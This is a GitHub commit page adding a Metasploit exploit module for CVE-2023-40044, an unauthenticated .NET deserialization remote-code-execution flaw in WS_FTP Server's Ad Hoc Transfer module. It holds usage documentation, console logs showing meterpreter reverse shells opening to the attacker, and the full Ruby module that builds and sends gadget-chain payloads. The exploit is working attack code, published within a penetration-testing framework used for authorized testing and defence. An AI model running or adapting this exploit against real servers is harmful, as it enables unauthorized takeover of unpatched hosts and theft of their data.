Skip to content

Commit

Permalink
Land #18414, Exploit module for CVE-2023-40044
Browse files Browse the repository at this point in the history
Exploit module for CVE-2023-40044 (WS_FTP unauthenticated RCE)
  • Loading branch information
smcintyre-r7 committed Oct 4, 2023
2 parents 329b464 + 8431d11 commit 9eb0c33
Show file tree
Hide file tree
Showing 2 changed files with 298 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
## Vulnerable Application
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server
prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability was
originally discovered by AssetNote.

For a full technical analysis of the vulnerability read the
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis).

## Testing
Download and install a vulnerable version of WS_FTP server. By default the server will listen for HTTPS connections
on port 443. The vulnerability is in the Ad Hoc Transfer module which is installed by default. This exploit
module was tested against WS_FTP Server 2020.0.1 (version 8.7.1) and WS_FTP Server 2022.0.1 (version 8.8.1).

## Verification Steps
Note: Disable Defender if you are using the default payloads.

Steps:
1. Start msfconsole
2. `use exploit/windows/http/ws_ftp_rce_cve_2023_40044`
3. `set RHOST <TARGET_IP>`
4. Set a Target:
* `set target 0` for Windows Command.
* `set target 1` for Windows Powershell.
5. Set a suitable PAYLOAD for the chosen target:
* `set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp` for Windows Command target.
* `set PAYLOAD x64/meterpreter/reverse_tcp` for Windows Powershell target.
6. `check`
7. `exploit`

## Scenarios

### Windows Command
```
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set RHOST 192.168.86.50
RHOST => 192.168.86.50
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set target 0
target => 0
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options
Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGET_URI /AHT/ no Target URI. Must begin with /AHT/
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME NrkcXGOM no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > check
[*] 192.168.86.50:443 - The target appears to be vulnerable. Detected a build date of 28-2-2023
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected a build date of 28-2-2023
[*] Sending stage (200774 bytes) to 192.168.86.50
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:49754) at 2023-10-02 11:32:33 +0100
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter >
```

### Windows Powershell

```
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set target 1
target => 1
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options
Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGET_URI /AHT/ no Target URI. Must begin with /AHT/
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows Powershell
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected a build date of 28-2-2023
[*] Sending stage (200774 bytes) to 192.168.86.50
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:49755) at 2023-10-02 11:34:01 +0100
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter >
```
151 changes: 151 additions & 0 deletions modules/exploits/windows/http/ws_ftp_rce_cve_2023_40044.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server
prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability
was originally discovered by AssetNote.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-40044'],
['URL', 'https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis'],
['URL', 'https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023'],
['URL', 'https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044']
],
'DisclosureDate' => '2023-09-27',
'Platform' => %w[win],
'Arch' => [ARCH_CMD],
# 5000 will allow the powershell payloads to work as they require ~4200 bytes. Notably, the ClaimsPrincipal and
# TypeConfuseDelegate (but not TextFormattingRunProperties) gadget chains will fail if Space is too large (e.g.
# 8192 bytes), as the encoded payload command is padded with leading whitespace characters (0x20) to consume
# all the available payload space via ./modules/nops/cmd/generic.rb).
'Payload' => { 'Space' => 5000 },
'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`.
'Targets' => [
[
'Windows', {}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
# This URI path can be anything so long as it begins with /AHT/. We default ot /AHT/ as it is less obvious in
# the IIS logs as to what the request is for, however the user can change this as needed if required.
Msf::OptString.new('TARGET_URI', [ false, 'Target URI used to exploit the deserialization vulnerability. Must begin with /AHT/', '/AHT/']),
]
)
end

def check
# As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT.
res = send_request_cgi(
'method' => 'GET',
'uri' => '/AHT/AHT_UI/public/index.html'
)

return CheckCode::Unknown('Connection failed') unless res

title = Nokogiri::HTML(res.body).xpath('//head/title')&.text

# We verify the target is running the AHT module, by inspecting the HTML heads title.
if title == 'Ad Hoc Transfer'
res = send_request_cgi(
'method' => 'GET',
'uri' => '/AHT/AHT_UI/public/js/app.min.js'
)

return CheckCode::Unknown('Connection failed') unless res

# The patched versions were released on September 2023. We can query the date stamp in the app.min.js file
# to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP,
# but if it was build on Sept 2023 or after, it is not vulnerable.

if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/}
day = ::Regexp.last_match(1).to_i
month = ::Regexp.last_match(2).to_i
year = ::Regexp.last_match(3).to_i

description = "Detected a build date of #{day}-#{month}-#{year}"

if year > 2023 || (year == 2023 && month >= 9)
return CheckCode::Safe(description)
end

return CheckCode::Appears(description)
end

# If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module.
return CheckCode::Detected
end

CheckCode::Unknown
end

def exploit
unless datastore['TARGET_URI'].start_with? '/AHT/'
fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/')
end

# All of these gadget chains will work. We pick a random one during exploitation.
chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties]

gadget = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: chains.sample,
formatter: :BinaryFormatter
)

# We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation.
tags = %w[AHT_DEFAULT_UPLOAD_PARAMETER AHT_UPLOAD_PARAMETER]

message = Rex::MIME::Message.new

part = message.add_part("::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n", nil, nil, nil)

part.header.set('name', rand_text_alphanumeric(8))

res = send_request_cgi(
{
'uri' => normalize_uri(datastore['TARGET_URI']),
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'method' => 'POST',
'data' => message.to_s
}
)

unless res&.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability')
end
end

end

0 comments on commit 9eb0c33

Please sign in to comment.